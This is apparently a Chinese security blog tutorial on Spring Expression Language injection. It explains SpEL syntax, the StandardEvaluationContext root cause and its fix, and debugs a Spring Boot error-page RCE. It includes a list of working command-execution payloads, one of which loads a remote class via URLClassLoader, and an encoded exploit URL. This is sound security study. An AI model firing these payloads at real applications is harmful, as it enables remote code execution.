SpEL表达式注入学习
2022-03-29 10:34:10 # Java安全

什么是SpEL表达式

Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。它的语法类似于传统EL,但提供额外的功能,最出色的就是函数调用和简单字符串的模板函数。尽管有其他可选的 Java 表达式语言,如 OGNL, MVEL,JBoss EL 等等,但 Spel 创建的初衷是了给 Spring 社区提供一种简单而高效的表达式语言,一种可贯穿整个 Spring 产品组的语言。这种语言的特性应基于 Spring 产品的需求而设计。
Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEl可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。

用法

SpEL有三种用法,一种是在注解@Value中;一种是XML配置;最后一种是在代码块中使用Expression。SpEL调用流程 : 1.新建解析器 2.解析表达式 3.注册变量(可省,在取值之前注册) 4.取值

1、@Value

1
2
3
4
5
6
7
public class EmailSender {
@Value("${spring.mail.username}")
private String mailUsername;
@Value("#{ systemProperties['user.region'] }")
private String defaultLocale;
//...
}

2、bean配置

1
2
3
4
5
<bean id="xxx" class="com.java.XXXXX.xx">
<!-- 同@Value,#{}内是表达式的值,可放在property或constructor-arg内 -->
<property name="arg" value="#{表达式}">
</bean>

3、Expression

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;

public class SpELTest {

public static void main(String[] args) {

//创建ExpressionParser解析表达式
ExpressionParser parser = new SpelExpressionParser();
//表达式放置
Expression exp = parser.parseExpression("表达式");
//执行表达式,默认容器是spring本身的容器:ApplicationContext
Object value = exp.getValue();

/**如果使用其他的容器,则用下面的方法*/
//创建一个虚拟的容器EvaluationContext
StandardEvaluationContext ctx = new StandardEvaluationContext();
//向容器内添加bean
BeanA beanA = new BeanA();
ctx.setVariable("bean_id", beanA);

//setRootObject并非必须;一个EvaluationContext只能有一个RootObject,引用它的属性时,可以不加前缀
ctx.setRootObject(XXX);

//getValue有参数ctx,从新的容器中根据SpEL表达式获取所需的值
Object value = exp.getValue(ctx);
}
}

这里接口ExpressionParser负责解析表达式字符串。上述代码含义为首先创建ExpressionParser解析表达式,之后放置表达式,最后通过getValue方法执行表达式,默认容器是spring本身的容器:ApplicationContext

配置环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>4.0.5.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-expression</artifactId>
<version>4.0.5.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>4.0.5.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>4.0.5.RELEASE</version>
</dependency>
</dependencies>

核心接口

  1. 解析器ExpressionParser,用于将字符串表达式转换为Expression表达式对象。
  2. 表达式Expression,最后通过它的getValute方法对表达式进行计算取值。
  3. 上下文EvaluationContext,通过上下文对象结合表达式来计算最后的结果。

语法

SpEL使用 #{...} 作为定界符,所有在大括号中的字符都将被认为是 SpEL表达式,我们可以在其中使用运算符,变量以及引用bean,属性和方法如:

引用其他对象:#{car}
引用其他对象的属性:#{car.brand}
调用其它方法 , 还可以链式操作:#{car.toString()}

其中属性名称引用还可以用$符号 如:${someProperty}
除此以外在SpEL中,使用T()运算符会调用类作用域的方法和常量。例如,在SpEL中使用Java的Math类,我们可以像下面的示例这样使用T()运算符:

1
#{T(java.lang.Math)} //结果会返回一个`java.lang.Math`类对象。

1、类表达式

SpEL中可以使用特定的Java类型,经常用来访问Java类型中的静态属性或静态方法,需要用T()操作符进行声明。括号中需要包含类名的全限定名,也就是包名加上类名。唯一例外的是,SpEL内置了java.lang包下的类声明,也就是说java.lang.String可以通过T(String)访问,而不需要使用全限定名。
因此我们通过 T() 调用一个类的静态方法,它将返回一个 Class Object,然后再调用相应的方法或属性,如:

1
2
3
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")");
Object value = exp.getValue();

2、方法调用

使用典型的Java编程语法来调用

1
2
3
4
5
// string literal, evaluates to "bc"
String c = parser.parseExpression("'abc'.substring(2, 3)").getValue(String.class);

// evaluates to true
boolean isMember = parser.parseExpression("isMember('Mihajlo Pupin')").getValue(societyContext,Boolean.class);

3、调用构造函数

1
2
3
4
5
Inventor einstein = 
p.parseExpression("new org.spring.samples.spel.inventor.Inventor('Albert Einstein','German')").getValue(Inventor.class);

//create new inventor instance within add method of List
p.parseExpression("Members.add(new org.spring.samples.spel.inventor.Inventor('Albert Einstein', 'German'))").getValue(societyContext);

4、Bean引用

如果解析上下文已经配置,则可以使用@符号从表达式中查找bean。

1
2
3
ExpressionParser parser = new SpelExpressionParser(); StandardEvaluationContext context = new StandardEvaluationContext(); context.setBeanResolver(new MyBeanResolver()); 
// This will end up calling resolve(context,"foo") on MyBeanResolver during evaluation
Object bean = parser.parseExpression("@foo").getValue(context);

5、变量定义

变量定义通过EvaluationContext接口的setVariable(variableName, value)方法定义;在表达式中使用#variableName引用;除了引用自定义变量,SpEL还允许引用根对象及当前上下文对象,使用#root引用根对象,使用#this引用当前上下文对象

1
2
3
4
5
6
7
8
9
10
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext context = new StandardEvaluationContext("rui0");
context.setVariable("variable", "ruilin");
String result1 = parser.parseExpression("#variable").getValue(context, String.class);
System.out.println(result1);

String result2 = parser.parseExpression("#root").getValue(context, String.class);
System.out.println(result2);
String result3 = parser.parseExpression("#this").getValue(context, String.class);
System.out.println(result3);

6、用户自定义的方法

用户可以在SpEL注册自定义的方法,将该方法注册到StandardEvaluationContext 中的registerFunction(String name, Method m)方法。
如:我们通过JAVA提供的接口实现字符串反转的方法。

1
2
3
4
5
6
7
8
9
10
public abstract class StringUtils {

public static String reverseString(String input) {
StringBuilder backwards = new StringBuilder();
for (int i = 0; i < input.length(); i++)
backwards.append(input.charAt(input.length() - 1 - i));
}
return backwards.toString();
}
}

我们可以通过如下代码将方法注册到StandardEvaluationContext并且来使用它

1
2
3
4
ExpressionParser parser = new SpelExpressionParser();
StandardEvaluationContext context = new StandardEvaluationContext();
context.registerFunction("reverseString", StringUtils.class.getDeclaredMethod("reverseString",new Class[] { String.class }));
String helloWorldReversed = parser.parseExpression("#reverseString('hello')").getValue(context, String.class);

7、模板表达式

表达式模板允许文字文本与一个或多个解析块的混合。 你可以每个解析块分隔前缀和后缀的字符。当然,常见的选择是使用#{}作为分隔符,如:

1
2
3
String randomPhrase = parser.parseExpression(
"random number is #{T(java.lang.Math).random()}",
new TemplateParserContext()).getValue(String.class);

ParserContext接口用于影响如何 表达被解析,以便支持所述表达模板的功能。的TemplateParserContext的定义如下所示

image-20220329142053427

漏洞原因

在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行。

image-20220329144848681

看下SpEL提供的两个EvaluationContext的区别:

1
2
SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集。
StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集。它不包括 Java类型引用,构造函数和bean引用。所以说指定正确EvaluationContext,是防止SpEl表达式注入漏洞产生的首选,之前出现过相关的SpEL表达式注入漏洞,其修复方式就是使用SimpleEvaluationContext替代StandardEvaluationContext

常用的payload

1
2
3
4
5
6
7
8
9
10
11
1、${12*12}
2、T(java.lang.Runtime).getRuntime().exec("calc.exe")T(Thread).sleep(10000)
3、#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')
4、new ProcessBuilder(new String[]{"cmd.exe","/c calc.exe"}).start()
5、T(java.lang.Runtime).getRuntime().exec("cmd.exe /c calc.exe")
6、T(Runtime).getRuntime().exec(new String[]{"cmd.exe","/c calc.exe"})
7、new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("s=[2];s[0]='cmd.exe';s[1]='/c calc.exe';java.lang.Runtime.getRuntime().exec(s);")
8、new javax.script.ScriptEngineManager().getEngineByName("javascript").eval("s=[2];s[0]='cmd.exe';s[1]='/c calc.exe';java.lang.Runtime.getRuntime().exec(s);")//调用ScriptEngine,js引擎名称可为[nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript]
9、new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://127.0.0.1:8999/Exp.jar")}).loadClass("Exp").getConstructors()[0].newInstance("127.0.0.1:2333")//URLClassLoader远程加载class文件,通过函数调用或者静态代码块
10、T(ClassLoader).getSystemClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("cmd.exe /c calc.exe") //AppClassLoader加载
11、T(ClassLoader).getSystemClassLoader().loadClass("java.lang.ProcessBuilder").getConstructors()[1].newInstance(new String[]{"cmd.exe","/c calc.exe"}).start() //AppClassLoader加载

漏洞分析

SpringBoot SpEL表达式注入漏洞

原理

  • spring boot 处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper 类中
  • 此时 URL 中的参数值会用 parseStringValue 方法进行递归解析
  • 其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞

环境

https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce

验证

请求http://127.0.0.1:9091/article?id=${2*2}

image-20220329171118750

对执行的命令进行十六进制编码

1
2
3
4
5
6
7
8
# coding: utf-8

result = ""
target = 'calc' # 自己这里是windows环境,所以测试命令用的是calc
for x in target:
result += hex(ord(x)) + ","
print(result.rstrip(','))

将字符串格式转换成 0x** java 字节形式,因为这里会将我们的payload中的单引号和双引号进行编码,导致SpEL表达式解析失败,所以为了方便执行任意代码,可以根据String类的特性传入byte数组:

分析过程参考:https://www.cnblogs.com/bitterz/p/15206255.html

1
http://localhost:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))} 

开启调试,造成的原因主要是在ErrorMvcAutoConfiguration.java中的SpelView类,可以看到是在this.helper.replacePlaceholders(this.template, this.resolver)中生成了错误页面,然后返回给result并响应

image-20220329184706224

此时map的值如下

image-20220329185823363

其中template内容如下

1
<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>${timestamp}</div><div>There was an unexpected error (type=${error}, status=${status}).</div><div>${message}</div></body></html>

跟进函数replacePlaceholders

image-20220329190025935

继续跟进while循环中循环解析${}中的 表 达 式 ,例如第一个解析到${timestamp}的表达式

image-20220329212021872

然后通过resolvePlaceholder函数进行SpEL解析,跟进即可看到通过getValue方法对SpEL表达式进行解析

image-20220329212532940

EvaluationContext设置的为StandardEvaluationContext,根据前面我们可以知道它允许用户控制输入的情况下可以成功造成任意命令执行

image-20220329212845027

当解析${message}时,我们跟踪下resolvePlaceholder函数,看看它是怎么处理的

image-20220329214605998

通过getValue从Context从取出message的值

image-20220329215545883

跟进

image-20220329220033014

就是对message的值进行html编码

image-20220329220358206

编码完之后,可以看到message中的双引号被转换为html编码,所以这里编写命令执行的payload,不能带单引号和双引号,这也是为什么采用byte数组传递命令的原因了

image-20220329220705931

接着往下就又是递归函数,获取proVal中${}中的值,然后进行SpEL表达式解析

image-20220329221111197

往下,就是得到${}中的值,然后就是调用resolvePlaceholder进行解析

image-20220329221434377

跟下,执行到getValue()方法就会对传进去SpEL恶意表达式进行解析,触发命令执行,弹出计算器

image-20220329221907429

补丁是创建了一个新的NonRecursivePropertyPlaceholderHelper类,来防止递归解析路径中或者名字中含有的表达式。
详见: https://github.com/spring-projects/spring-boot/commit/edb16a13ee33e62b046730a47843cb5dc92054e6

参考

http://rui0.cn/archives/1043

https://blog.csdn.net/qq_31481187/article/details/108025512

https://xz.aliyun.com/t/9245#toc-11